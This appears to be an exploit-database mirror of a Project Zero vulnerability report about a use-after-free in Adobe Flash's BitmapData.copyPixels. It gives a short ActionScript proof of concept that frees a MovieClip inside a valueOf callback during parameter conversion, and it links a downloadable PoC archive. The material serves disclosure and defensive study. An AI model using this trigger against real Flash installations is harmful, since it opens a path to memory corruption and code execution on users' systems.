Adobe Flash - BitmapData.copyPixels Use-After-Free

2016-08-29 01:05:32

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843

There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

mc.removeMovieClip();

// Fix the heap

}


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40310.zip

Fixes

No fixes

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